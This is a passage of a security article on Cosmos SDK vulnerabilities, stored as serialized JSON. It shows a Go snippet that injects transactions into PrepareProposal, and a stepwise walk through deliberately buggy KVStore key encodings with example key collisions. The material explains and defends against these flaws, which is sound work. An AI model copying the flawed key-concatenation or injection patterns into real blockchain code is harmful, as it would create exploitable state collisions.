votes\"",{"type":23,"tag":314,"props":83822,"children":83823},{"style":338},[83824],{"type":28,"value":778},{"type":23,"tag":314,"props":83826,"children":83827},{"style":1245},[83828],{"type":28,"value":83829},"\"err\"",{"type":23,"tag":314,"props":83831,"children":83832},{"style":338},[83833],{"type":28,"value":778},{"type":23,"tag":314,"props":83835,"children":83836},{"style":360},[83837],{"type":28,"value":47670},{"type":23,"tag":314,"props":83839,"children":83840},{"style":338},[83841],{"type":28,"value":2414},{"type":23,"tag":314,"props":83843,"children":83844},{"class":316,"line":1430},[83845,83849,83853,83857],{"type":23,"tag":314,"props":83846,"children":83847},{"style":2284},[83848],{"type":28,"value":59980},{"type":23,"tag":314,"props":83850,"children":83851},{"style":321},[83852],{"type":28,"value":81170},{"type":23,"tag":314,"props":83854,"children":83855},{"style":338},[83856],{"type":28,"value":778},{"type":23,"tag":314,"props":83858,"children":83859},{"style":360},[83860],{"type":28,"value":82891},{"type":23,"tag":314,"props":83862,"children":83863},{"class":316,"line":1452},[83864],{"type":23,"tag":314,"props":83865,"children":83866},{"style":338},[83867],{"type":28,"value":58136},{"type":23,"tag":314,"props":83869,"children":83870},{"class":316,"line":1497},[83871],{"type":23,"tag":314,"props":83872,"children":83873},{"style":354},[83874],{"type":28,"value":81770},{"type":23,"tag":314,"props":83876,"children":83877},{"class":316,"line":1539},[83878],{"type":23,"tag":314,"props":83879,"children":83880},{"style":338},[83881],{"type":28,"value":2602},{"type":23,"tag":314,"props":83883,"children":83884},{"class":316,"line":1548},[83885,83890,83894,83898,83902,83907,83911,83916,83920,83924,83928,83932],{"type":23,"tag":314,"props":83886,"children":83887},{"style":360},[83888],{"type":28,"value":83889}," defaultRes",{"type":23,"tag":314,"props":83891,"children":83892},{"style":338},[83893],{"type":28,"value":778},{"type":23,"tag":314,"props":83895,"children":83896},{"style":360},[83897],{"type":28,"value":47670},{"type":23,"tag":314,"props":83899,"children":83900},{"style":354},[83901],{"type":28,"value":75669},{"type":23,"tag":314,"props":83903,"children":83904},{"style":360},[83905],{"type":28,"value":83906}," h",{"type":23,"tag":314,"props":83908,"children":83909},{"style":338},[83910],{"type":28,"value":282},{"type":23,"tag":314,"props":83912,"children":83913},{"style":332},[83914],{"type":28,"value":83915},"defaultPrepareProposal",{"type":23,"tag":314,"props":83917,"children":83918},{"style":338},[83919],{"type":28,"value":341},{"type":23,"tag":314,"props":83921,"children":83922},{"style":360},[83923],{"type":28,"value":19518},{"type":23,"tag":314,"props":83925,"children":83926},{"style":338},[83927],{"type":28,"value":778},{"type":23,"tag":314,"props":83929,"children":83930},{"style":360},[83931],{"type":28,"value":83401},{"type":23,"tag":314,"props":83933,"children":83934},{"style":338},[83935],{"type":28,"value":2414},{"type":23,"tag":314,"props":83937,"children":83938},{"class":316,"line":1584},[83939],{"type":23,"tag":314,"props":83940,"children":83941},{"style":354},[83942],{"type":28,"value":81094},{"type":23,"tag":314,"props":83944,"children":83945},{"class":316,"line":1617},[83946,83951,83955,83960,83964],{"type":23,"tag":314,"props":83947,"children":83948},{"style":360},[83949],{"type":28,"value":83950}," proposalTxs",{"type":23,"tag":314,"props":83952,"children":83953},{"style":354},[83954],{"type":28,"value":75669},{"type":23,"tag":314,"props":83956,"children":83957},{"style":360},[83958],{"type":28,"value":83959}," defaultRes",{"type":23,"tag":314,"props":83961,"children":83962},{"style":338},[83963],{"type":28,"value":282},{"type":23,"tag":314,"props":83965,"children":83966},{"style":360},[83967],{"type":28,"value":83968},"Txs\n",{"type":23,"tag":314,"props":83970,"children":83971},{"class":316,"line":1625},[83972,83976,83980,83984,83988],{"type":23,"tag":314,"props":83973,"children":83974},{"style":2284},[83975],{"type":28,"value":2527},{"type":23,"tag":314,"props":83977,"children":83978},{"style":360},[83979],{"type":28,"value":83471},{"type":23,"tag":314,"props":83981,"children":83982},{"style":354},[83983],{"type":28,"value":63639},{"type":23,"tag":314,"props":83985,"children":83986},{"style":321},[83987],{"type":28,"value":81170},{"type":23,"tag":314,"props":83989,"children":83990},{"style":338},[83991],{"type":28,"value":1449},{"type":23,"tag":314,"props":83993,"children":83994},{"class":316,"line":1660},[83995,84000,84004,84008,84013,84018,84022,84027,84031,84036,84040],{"type":23,"tag":314,"props":83996,"children":83997},{"style":360},[83998],{"type":28,"value":83999}," proposalTxs",{"type":23,"tag":314,"props":84001,"children":84002},{"style":354},[84003],{"type":28,"value":1237},{"type":23,"tag":314,"props":84005,"children":84006},{"style":332},[84007],{"type":28,"value":76948},{"type":23,"tag":314,"props":84009,"children":84010},{"style":338},[84011],{"type":28,"value":84012},"([][]",{"type":23,"tag":314,"props":84014,"children":84015},{"style":2674},[84016],{"type":28,"value":84017},"byte",{"type":23,"tag":314,"props":84019,"children":84020},{"style":338},[84021],{"type":28,"value":75870},{"type":23,"tag":314,"props":84023,"children":84024},{"style":360},[84025],{"type":28,"value":84026},"injection",{"type":23,"tag":314,"props":84028,"children":84029},{"style":338},[84030],{"type":28,"value":75889},{"type":23,"tag":314,"props":84032,"children":84033},{"style":360},[84034],{"type":28,"value":84035},"proposalTxs",{"type":23,"tag":314,"props":84037,"children":84038},{"style":354},[84039],{"type":28,"value":8840},{"type":23,"tag":314,"props":84041,"children":84042},{"style":338},[84043],{"type":28,"value":2414},{"type":23,"tag":314,"props":84045,"children":84046},{"class":316,"line":1708},[84047,84052,84056,84060,84064,84068,84072,84077,84081,84086,84090,84094,84098,84102],{"type":23,"tag":314,"props":84048,"children":84049},{"style":360},[84050],{"type":28,"value":84051}," h",{"type":23,"tag":314,"props":84053,"children":84054},{"style":338},[84055],{"type":28,"value":282},{"type":23,"tag":314,"props":84057,"children":84058},{"style":360},[84059],{"type":28,"value":83803},{"type":23,"tag":314,"props":84061,"children":84062},{"style":338},[84063],{"type":28,"value":282},{"type":23,"tag":314,"props":84065,"children":84066},{"style":332},[84067],{"type":28,"value":23956},{"type":23,"tag":314,"props":84069,"children":84070},{"style":338},[84071],{"type":28,"value":341},{"type":23,"tag":314,"props":84073,"children":84074},{"style":1245},[84075],{"type":28,"value":84076},"\"injected local last commit\"",{"type":23,"tag":314,"props":84078,"children":84079},{"style":338},[84080],{"type":28,"value":778},{"type":23,"tag":314,"props":84082,"children":84083},{"style":1245},[84084],{"type":28,"value":84085},"\"height\"",{"type":23,"tag":314,"props":84087,"children":84088},{"style":338},[84089],{"type":28,"value":778},{"type":23,"tag":314,"props":84091,"children":84092},{"style":360},[84093],{"type":28,"value":83401},{"type":23,"tag":314,"props":84095,"children":84096},{"style":338},[84097],{"type":28,"value":282},{"type":23,"tag":314,"props":84099,"children":84100},{"style":360},[84101],{"type":28,"value":82731},{"type":23,"tag":314,"props":84103,"children":84104},{"style":338},[84105],{"type":28,"value":2414},{"type":23,"tag":314,"props":84107,"children":84108},{"class":316,"line":1743},[84109],{"type":23,"tag":314,"props":84110,"children":84111},{"style":338},[84112],{"type":28,"value":2602},{"type":23,"tag":314,"props":84114,"children":84115},{"class":316,"line":1751},[84116,84120,84124,84128,84132,84136],{"type":23,"tag":314,"props":84117,"children":84118},{"style":2284},[84119],{"type":28,"value":14985},{"type":23,"tag":314,"props":84121,"children":84122},{"style":354},[84123],{"type":28,"value":1968},{"type":23,"tag":314,"props":84125,"children":84126},{"style":2674},[84127],{"type":28,"value":83410},{"type":23,"tag":314,"props":84129,"children":84130},{"style":338},[84131],{"type":28,"value":282},{"type":23,"tag":314,"props":84133,"children":84134},{"style":2674},[84135],{"type":28,"value":83440},{"type":23,"tag":314,"props":84137,"children":84138},{"style":338},[84139],{"type":28,"value":10129},{"type":23,"tag":314,"props":84141,"children":84142},{"class":316,"line":1791},[84143,84148,84152,84156],{"type":23,"tag":314,"props":84144,"children":84145},{"style":360},[84146],{"type":28,"value":84147}," Txs",{"type":23,"tag":314,"props":84149,"children":84150},{"style":338},[84151],{"type":28,"value":14573},{"type":23,"tag":314,"props":84153,"children":84154},{"style":360},[84155],{"type":28,"value":84035},{"type":23,"tag":314,"props":84157,"children":84158},{"style":338},[84159],{"type":28,"value":1870},{"type":23,"tag":314,"props":84161,"children":84162},{"class":316,"line":1805},[84163,84168],{"type":23,"tag":314,"props":84164,"children":84165},{"style":338},[84166],{"type":28,"value":84167}," }, ",{"type":23,"tag":314,"props":84169,"children":84170},{"style":321},[84171],{"type":28,"value":75894},{"type":23,"tag":314,"props":84173,"children":84174},{"class":316,"line":1818},[84175],{"type":23,"tag":314,"props":84176,"children":84177},{"style":338},[84178],{"type":28,"value":2610},{"type":23,"tag":314,"props":84180,"children":84181},{"class":316,"line":1873},[84182],{"type":23,"tag":314,"props":84183,"children":84184},{"style":338},[84185],{"type":28,"value":386},{"type":23,"tag":24,"props":84187,"children":84188},{},[84189,84191,84196,84197,84202,84204,84211],{"type":28,"value":84190},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":94,"props":84192,"children":84194},{"className":84193},[],[84195],{"type":28,"value":82560},{"type":28,"value":2324},{"type":23,"tag":94,"props":84198,"children":84200},{"className":84199},[],[84201],{"type":28,"value":82628},{"type":28,"value":84203},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":31,"props":84205,"children":84208},{"href":84206,"rel":84207},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[35],[84209],{"type":28,"value":84210},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":84212},", which will later get rejected by CometBTF.",{"type":23,"tag":61,"props":84214,"children":84216},{"id":84215},"the-keymaker",[84217],{"type":28,"value":84218},"The Keymaker",{"type":23,"tag":24,"props":84220,"children":84221},{},[84222,84224,84230,84232,84237],{"type":28,"value":84223},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":94,"props":84225,"children":84227},{"className":84226},[],[84228],{"type":28,"value":84229},"KVStore",{"type":28,"value":84231}," to handle states efficently. In ",{"type":23,"tag":94,"props":84233,"children":84235},{"className":84234},[],[84236],{"type":28,"value":84229},{"type":28,"value":84238},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":84240,"children":84241},{},[84242],{"type":28,"value":84243},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":84245,"children":84246},{},[84247,84249,84255],{"type":28,"value":84248},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":94,"props":84250,"children":84252},{"className":84251},[],[84253],{"type":28,"value":84254},"positionMap",{"type":28,"value":84256}," structure mentioned below into storage.",{"type":23,"tag":304,"props":84258,"children":84260},{"code":84259,"language":75417,"meta":7,"className":75418,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[84261],{"type":23,"tag":94,"props":84262,"children":84263},{"__ignoreMap":7},[84264,84280,84297,84313,84332,84347,84354,84371],{"type":23,"tag":314,"props":84265,"children":84266},{"class":316,"line":317},[84267,84271,84276],{"type":23,"tag":314,"props":84268,"children":84269},{"style":321},[84270],{"type":28,"value":32004},{"type":23,"tag":314,"props":84272,"children":84273},{"style":2674},[84274],{"type":28,"value":84275}," VaultId",{"type":23,"tag":314,"props":84277,"children":84278},{"style":2674},[84279],{"type":28,"value":75455},{"type":23,"tag":314,"props":84281,"children":84282},{"class":316,"line":370},[84283,84287,84292],{"type":23,"tag":314,"props":84284,"children":84285},{"style":321},[84286],{"type":28,"value":32004},{"type":23,"tag":314,"props":84288,"children":84289},{"style":2674},[84290],{"type":28,"value":84291}," Username",{"type":23,"tag":314,"props":84293,"children":84294},{"style":2674},[84295],{"type":28,"value":84296}," string\n",{"type":23,"tag":314,"props":84298,"children":84299},{"class":316,"line":380},[84300,84304,84309],{"type":23,"tag":314,"props":84301,"children":84302},{"style":321},[84303],{"type":28,"value":32004},{"type":23,"tag":314,"props":84305,"children":84306},{"style":2674},[84307],{"type":28,"value":84308}," PositionName",{"type":23,"tag":314,"props":84310,"children":84311},{"style":2674},[84312],{"type":28,"value":84296},{"type":23,"tag":314,"props":84314,"children":84315},{"class":316,"line":1091},[84316,84320,84324,84328],{"type":23,"tag":314,"props":84317,"children":84318},{"style":321},[84319],{"type":28,"value":32004},{"type":23,"tag":314,"props":84321,"children":84322},{"style":2674},[84323],{"type":28,"value":6680},{"type":23,"tag":314,"props":84325,"children":84326},{"style":321},[84327],{"type":28,"value":20388},{"type":23,"tag":314,"props":84329,"children":84330},{"style":338},[84331],{"type":28,"value":1449},{"type":23,"tag":314,"props":84333,"children":84334},{"class":316,"line":1141},[84335,84339,84343],{"type":23,"tag":314,"props":84336,"children":84337},{"style":360},[84338],{"type":28,"value":42481},{"type":23,"tag":314,"props":84340,"children":84341},{"style":338},[84342],{"type":28,"value":75480},{"type":23,"tag":314,"props":84344,"children":84345},{"style":2674},[84346],{"type":28,"value":83480},{"type":23,"tag":314,"props":84348,"children":84349},{"class":316,"line":1173},[84350],{"type":23,"tag":314,"props":84351,"children":84352},{"style":338},[84353],{"type":28,"value":386},{"type":23,"tag":314,"props":84355,"children":84356},{"class":316,"line":1208},[84357,84361,84366],{"type":23,"tag":314,"props":84358,"children":84359},{"style":321},[84360],{"type":28,"value":32004},{"type":23,"tag":314,"props":84362,"children":84363},{"style":2674},[84364],{"type":28,"value":84365}," PositionMap",{"type":23,"tag":314,"props":84367,"children":84368},{"style":354},[84369],{"type":28,"value":84370}," :=\n",{"type":23,"tag":314,"props":84372,"children":84373},{"class":316,"line":1216},[84374,84379,84383,84388,84392,84396,84400,84405,84409,84413,84417,84422,84426],{"type":23,"tag":314,"props":84375,"children":84376},{"style":321},[84377],{"type":28,"value":84378}," map",{"type":23,"tag":314,"props":84380,"children":84381},{"style":338},[84382],{"type":28,"value":1312},{"type":23,"tag":314,"props":84384,"children":84385},{"style":2674},[84386],{"type":28,"value":84387},"VaultId",{"type":23,"tag":314,"props":84389,"children":84390},{"style":338},[84391],{"type":28,"value":14653},{"type":23,"tag":314,"props":84393,"children":84394},{"style":321},[84395],{"type":28,"value":66355},{"type":23,"tag":314,"props":84397,"children":84398},{"style":338},[84399],{"type":28,"value":1312},{"type":23,"tag":314,"props":84401,"children":84402},{"style":2674},[84403],{"type":28,"value":84404},"Username",{"type":23,"tag":314,"props":84406,"children":84407},{"style":338},[84408],{"type":28,"value":14653},{"type":23,"tag":314,"props":84410,"children":84411},{"style":321},[84412],{"type":28,"value":66355},{"type":23,"tag":314,"props":84414,"children":84415},{"style":338},[84416],{"type":28,"value":1312},{"type":23,"tag":314,"props":84418,"children":84419},{"style":2674},[84420],{"type":28,"value":84421},"PositionName",{"type":23,"tag":314,"props":84423,"children":84424},{"style":338},[84425],{"type":28,"value":14653},{"type":23,"tag":314,"props":84427,"children":84428},{"style":2674},[84429],{"type":28,"value":84430},"Position\n",{"type":23,"tag":24,"props":84432,"children":84433},{},[84434,84436,84442],{"type":28,"value":84435},"Given that there are two levels of keys in ",{"type":23,"tag":94,"props":84437,"children":84439},{"className":84438},[],[84440],{"type":28,"value":84441},"PositionMap",{"type":28,"value":84443},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":304,"props":84445,"children":84447},{"code":84446,"language":75417,"meta":7,"className":75418,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[84448],{"type":23,"tag":94,"props":84449,"children":84450},{"__ignoreMap":7},[84451,84480,84492,84504,84516,84528],{"type":23,"tag":314,"props":84452,"children":84453},{"class":316,"line":317},[84454,84459,84463,84467,84471,84476],{"type":23,"tag":314,"props":84455,"children":84456},{"style":360},[84457],{"type":28,"value":84458},"storageKey",{"type":23,"tag":314,"props":84460,"children":84461},{"style":354},[84462],{"type":28,"value":75669},{"type":23,"tag":314,"props":84464,"children":84465},{"style":360},[84466],{"type":28,"value":81486},{"type":23,"tag":314,"props":84468,"children":84469},{"style":338},[84470],{"type":28,"value":282},{"type":23,"tag":314,"props":84472,"children":84473},{"style":332},[84474],{"type":28,"value":84475},"Sprintf",{"type":23,"tag":314,"props":84477,"children":84478},{"style":338},[84479],{"type":28,"value":2719},{"type":23,"tag":314,"props":84481,"children":84482},{"class":316,"line":370},[84483,84488],{"type":23,"tag":314,"props":84484,"children":84485},{"style":1245},[84486],{"type":28,"value":84487}," \"%d%s%s\"",{"type":23,"tag":314,"props":84489,"children":84490},{"style":338},[84491],{"type":28,"value":1870},{"type":23,"tag":314,"props":84493,"children":84494},{"class":316,"line":380},[84495,84500],{"type":23,"tag":314,"props":84496,"children":84497},{"style":360},[84498],{"type":28,"value":84499}," vaultId",{"type":23,"tag":314,"props":84501,"children":84502},{"style":338},[84503],{"type":28,"value":1870},{"type":23,"tag":314,"props":84505,"children":84506},{"class":316,"line":1091},[84507,84512],{"type":23,"tag":314,"props":84508,"children":84509},{"style":360},[84510],{"type":28,"value":84511}," username",{"type":23,"tag":314,"props":84513,"children":84514},{"style":338},[84515],{"type":28,"value":1870},{"type":23,"tag":314,"props":84517,"children":84518},{"class":316,"line":1141},[84519,84524],{"type":23,"tag":314,"props":84520,"children":84521},{"style":360},[84522],{"type":28,"value":84523}," positionName",{"type":23,"tag":314,"props":84525,"children":84526},{"style":338},[84527],{"type":28,"value":1870},{"type":23,"tag":314,"props":84529,"children":84530},{"class":316,"line":1173},[84531],{"type":23,"tag":314,"props":84532,"children":84533},{"style":338},[84534],{"type":28,"value":2414},{"type":23,"tag":24,"props":84536,"children":84537},{},[84538],{"type":28,"value":84539},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":304,"props":84541,"children":84543},{"code":84542},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[84544],{"type":23,"tag":94,"props":84545,"children":84546},{"__ignoreMap":7},[84547],{"type":28,"value":84542},{"type":23,"tag":24,"props":84549,"children":84550},{},[84551,84556],{"type":23,"tag":186,"props":84552,"children":84553},{},[84554],{"type":28,"value":84555},"So, how can we mitigate this issue?",{"type":28,"value":84557},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":304,"props":84559,"children":84561},{"code":84560,"language":75417,"meta":7,"className":75418,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[84562],{"type":23,"tag":94,"props":84563,"children":84564},{"__ignoreMap":7},[84565,84576,84593,84600,84607,84634,84646,84657,84668,84679,84690,84701],{"type":23,"tag":314,"props":84566,"children":84567},{"class":316,"line":317},[84568,84572],{"type":23,"tag":314,"props":84569,"children":84570},{"style":321},[84571],{"type":28,"value":346},{"type":23,"tag":314,"props":84573,"children":84574},{"style":338},[84575],{"type":28,"value":77818},{"type":23,"tag":314,"props":84577,"children":84578},{"class":316,"line":370},[84579,84584,84588],{"type":23,"tag":314,"props":84580,"children":84581},{"style":360},[84582],{"type":28,"value":84583}," Seperator",{"type":23,"tag":314,"props":84585,"children":84586},{"style":354},[84587],{"type":28,"value":1237},{"type":23,"tag":314,"props":84589,"children":84590},{"style":1245},[84591],{"type":28,"value":84592}," \"|\"\n",{"type":23,"tag":314,"props":84594,"children":84595},{"class":316,"line":380},[84596],{"type":23,"tag":314,"props":84597,"children":84598},{"style":338},[84599],{"type":28,"value":2414},{"type":23,"tag":314,"props":84601,"children":84602},{"class":316,"line":1091},[84603],{"type":23,"tag":314,"props":84604,"children":84605},{"emptyLinePlaceholder":18},[84606],{"type":28,"value":1088},{"type":23,"tag":314,"props":84608,"children":84609},{"class":316,"line":1141},[84610,84614,84618,84622,84626,84630],{"type":23,"tag":314,"props":84611,"children":84612},{"style":360},[84613],{"type":28,"value":84458},{"type":23,"tag":314,"props":84615,"children":84616},{"style":354},[84617],{"type":28,"value":75669},{"type":23,"tag":314,"props":84619,"children":84620},{"style":360},[84621],{"type":28,"value":81486},{"type":23,"tag":314,"props":84623,"children":84624},{"style":338},[84625],{"type":28,"value":282},{"type":23,"tag":314,"props":84627,"children":84628},{"style":332},[84629],{"type":28,"value":84475},{"type":23,"tag":314,"props":84631,"children":84632},{"style":338},[84633],{"type":28,"value":2719},{"type":23,"tag":314,"props":84635,"children":84636},{"class":316,"line":1173},[84637,84642],{"type":23,"tag":314,"props":84638,"children":84639},{"style":1245},[84640],{"type":28,"value":84641}," \"%d%s%s%s%s\"",{"type":23,"tag":314,"props":84643,"children":84644},{"style":338},[84645],{"type":28,"value":1870},{"type":23,"tag":314,"props":84647,"children":84648},{"class":316,"line":1208},[84649,84653],{"type":23,"tag":314,"props":84650,"children":84651},{"style":360},[84652],{"type":28,"value":84499},{"type":23,"tag":314,"props":84654,"children":84655},{"style":338},[84656],{"type":28,"value":1870},{"type":23,"tag":314,"props":84658,"children":84659},{"class":316,"line":1216},[84660,84664],{"type":23,"tag":314,"props":84661,"children":84662},{"style":360},[84663],{"type":28,"value":84583},{"type":23,"tag":314,"props":84665,"children":84666},{"style":338},[84667],{"type":28,"value":1870},{"type":23,"tag":314,"props":84669,"children":84670},{"class":316,"line":1301},[84671,84675],{"type":23,"tag":314,"props":84672,"children":84673},{"style":360},[84674],{"type":28,"value":84511},{"type":23,"tag":314,"props":84676,"children":84677},{"style":338},[84678],{"type":28,"value":1870},{"type":23,"tag":314,"props":84680,"children":84681},{"class":316,"line":1343},[84682,84686],{"type":23,"tag":314,"props":84683,"children":84684},{"style":360},[84685],{"type":28,"value":84583},{"type":23,"tag":314,"props":84687,"children":84688},{"style":338},[84689],{"type":28,"value":1870},{"type":23,"tag":314,"props":84691,"children":84692},{"class":316,"line":1351},[84693,84697],{"type":23,"tag":314,"props":84694,"children":84695},{"style":360},[84696],{"type":28,"value":84523},{"type":23,"tag":314,"props":84698,"children":84699},{"style":338},[84700],{"type":28,"value":1870},{"type":23,"tag":314,"props":84702,"children":84703},{"class":316,"line":1387},[84704],{"type":23,"tag":314,"props":84705,"children":84706},{"style":338},[84707],{"type":28,"value":2414},{"type":23,"tag":24,"props":84709,"children":84710},{},[84711],{"type":28,"value":84712},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":84714,"children":84715},{},[84716,84718,84724,84725,84731],{"type":28,"value":84717},"Sadly, it doesn't. Since the ",{"type":23,"tag":94,"props":84719,"children":84721},{"className":84720},[],[84722],{"type":28,"value":84723},"username",{"type":28,"value":557},{"type":23,"tag":94,"props":84726,"children":84728},{"className":84727},[],[84729],{"type":28,"value":84730},"vaultName",{"type":28,"value":84732}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":304,"props":84734,"children":84736},{"code":84735},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[84737],{"type":23,"tag":94,"props":84738,"children":84739},{"__ignoreMap":7},[84740],{"type":28,"value":84735},{"type":23,"tag":24,"props":84742,"children":84743},{},[84744],{"type":28,"value":84745},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":304,"props":84747,"children":84749},{"code":84748,"language":75417,"meta":7,"className":75418,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[84750],{"type":23,"tag":94,"props":84751,"children":84752},{"__ignoreMap":7},[84753,84764,84779,84786,84793,84800,84821,84837,84875,84882,84919,84926,84946,84961,84997,85004,85039,85046,85073,85084,85095,85106,85118,85129,85137],{"type":23,"tag":314,"props":84754,"children":84755},{"class":316,"line":317},[84756,84760],{"type":23,"tag":314,"props":84757,"children":84758},{"style":321},[84759],{"type":28,"value":346},{"type":23,"tag":314,"props":84761,"children":84762},{"style":338},[84763],{"type":28,"value":77818},{"type":23,"tag":314,"props":84765,"children":84766},{"class":316,"line":370},[84767,84771,84775],{"type":23,"tag":314,"props":84768,"children":84769},{"style":360},[84770],{"type":28,"value":84583},{"type":23,"tag":314,"props":84772,"children":84773},{"style":354},[84774],{"type":28,"value":1237},{"type":23,"tag":314,"props":84776,"children":84777},{"style":1245},[84778],{"type":28,"value":84592},{"type":23,"tag":314,"props":84780,"children":84781},{"class":316,"line":380},[84782],{"type":23,"tag":314,"props":84783,"children":84784},{"style":338},[84785],{"type":28,"value":2414},{"type":23,"tag":314,"props":84787,"children":84788},{"class":316,"line":1091},[84789],{"type":23,"tag":314,"props":84790,"children":84791},{"emptyLinePlaceholder":18},[84792],{"type":28,"value":1088},{"type":23,"tag":314,"props":84794,"children":84795},{"class":316,"line":1141},[84796],{"type":23,"tag":314,"props":84797,"children":84798},{"emptyLinePlaceholder":18},[84799],{"type":28,"value":1088},{"type":23,"tag":314,"props":84801,"children":84802},{"class":316,"line":1173},[84803,84808,84812,84817],{"type":23,"tag":314,"props":84804,"children":84805},{"style":360},[84806],{"type":28,"value":84807},"usernameEncoded",{"type":23,"tag":314,"props":84809,"children":84810},{"style":354},[84811],{"type":28,"value":75669},{"type":23,"tag":314,"props":84813,"children":84814},{"style":332},[84815],{"type":28,"value":84816}," make",{"type":23,"tag":314,"props":84818,"children":84819},{"style":338},[84820],{"type":28,"value":2719},{"type":23,"tag":314,"props":84822,"children":84823},{"class":316,"line":1208},[84824,84829,84833],{"type":23,"tag":314,"props":84825,"children":84826},{"style":338},[84827],{"type":28,"value":84828}," []",{"type":23,"tag":314,"props":84830,"children":84831},{"style":2674},[84832],{"type":28,"value":84017},{"type":23,"tag":314,"props":84834,"children":84835},{"style":338},[84836],{"type":28,"value":1870},{"type":23,"tag":314,"props":84838,"children":84839},{"class":316,"line":1216},[84840,84845,84849,84854,84858,84862,84866,84870],{"type":23,"tag":314,"props":84841,"children":84842},{"style":360},[84843],{"type":28,"value":84844}," hex",{"type":23,"tag":314,"props":84846,"children":84847},{"style":338},[84848],{"type":28,"value":282},{"type":23,"tag":314,"props":84850,"children":84851},{"style":332},[84852],{"type":28,"value":84853},"EncodedLen",{"type":23,"tag":314,"props":84855,"children":84856},{"style":338},[84857],{"type":28,"value":341},{"type":23,"tag":314,"props":84859,"children":84860},{"style":332},[84861],{"type":28,"value":8389},{"type":23,"tag":314,"props":84863,"children":84864},{"style":338},[84865],{"type":28,"value":341},{"type":23,"tag":314,"props":84867,"children":84868},{"style":360},[84869],{"type":28,"value":84723},{"type":23,"tag":314,"props":84871,"children":84872},{"style":338},[84873],{"type":28,"value":84874},")),\n",{"type":23,"tag":314,"props":84876,"children":84877},{"class":316,"line":1301},[84878],{"type":23,"tag":314,"props":84879,"children":84880},{"style":338},[84881],{"type":28,"value":2414},{"type":23,"tag":314,"props":84883,"children":84884},{"class":316,"line":1343},[84885,84890,84894,84899,84903,84907,84911,84915],{"type":23,"tag":314,"props":84886,"children":84887},{"style":360},[84888],{"type":28,"value":84889},"hex",{"type":23,"tag":314,"props":84891,"children":84892},{"style":338},[84893],{"type":28,"value":282},{"type":23,"tag":314,"props":84895,"children":84896},{"style":332},[84897],{"type":28,"value":84898},"Encode",{"type":23,"tag":314,"props":84900,"children":84901},{"style":338},[84902],{"type":28,"value":341},{"type":23,"tag":314,"props":84904,"children":84905},{"style":360},[84906],{"type":28,"value":84807},{"type":23,"tag":314,"props":84908,"children":84909},{"style":338},[84910],{"type":28,"value":778},{"type":23,"tag":314,"props":84912,"children":84913},{"style":360},[84914],{"type":28,"value":84723},{"type":23,"tag":314,"props":84916,"children":84917},{"style":338},[84918],{"type":28,"value":2414},{"type":23,"tag":314,"props":84920,"children":84921},{"class":316,"line":1351},[84922],{"type":23,"tag":314,"props":84923,"children":84924},{"emptyLinePlaceholder":18},[84925],{"type":28,"value":1088},{"type":23,"tag":314,"props":84927,"children":84928},{"class":316,"line":1387},[84929,84934,84938,84942],{"type":23,"tag":314,"props":84930,"children":84931},{"style":360},[84932],{"type":28,"value":84933},"positionNameEncoded",{"type":23,"tag":314,"props":84935,"children":84936},{"style":354},[84937],{"type":28,"value":75669},{"type":23,"tag":314,"props":84939,"children":84940},{"style":332},[84941],{"type":28,"value":84816},{"type":23,"tag":314,"props":84943,"children":84944},{"style":338},[84945],{"type":28,"value":2719},{"type":23,"tag":314,"props":84947,"children":84948},{"class":316,"line":1422},[84949,84953,84957],{"type":23,"tag":314,"props":84950,"children":84951},{"style":338},[84952],{"type":28,"value":84828},{"type":23,"tag":314,"props":84954,"children":84955},{"style":2674},[84956],{"type":28,"value":84017},{"type":23,"tag":314,"props":84958,"children":84959},{"style":338},[84960],{"type":28,"value":1870},{"type":23,"tag":314,"props":84962,"children":84963},{"class":316,"line":1430},[84964,84968,84972,84976,84980,84984,84988,84993],{"type":23,"tag":314,"props":84965,"children":84966},{"style":360},[84967],{"type":28,"value":84844},{"type":23,"tag":314,"props":84969,"children":84970},{"style":338},[84971],{"type":28,"value":282},{"type":23,"tag":314,"props":84973,"children":84974},{"style":332},[84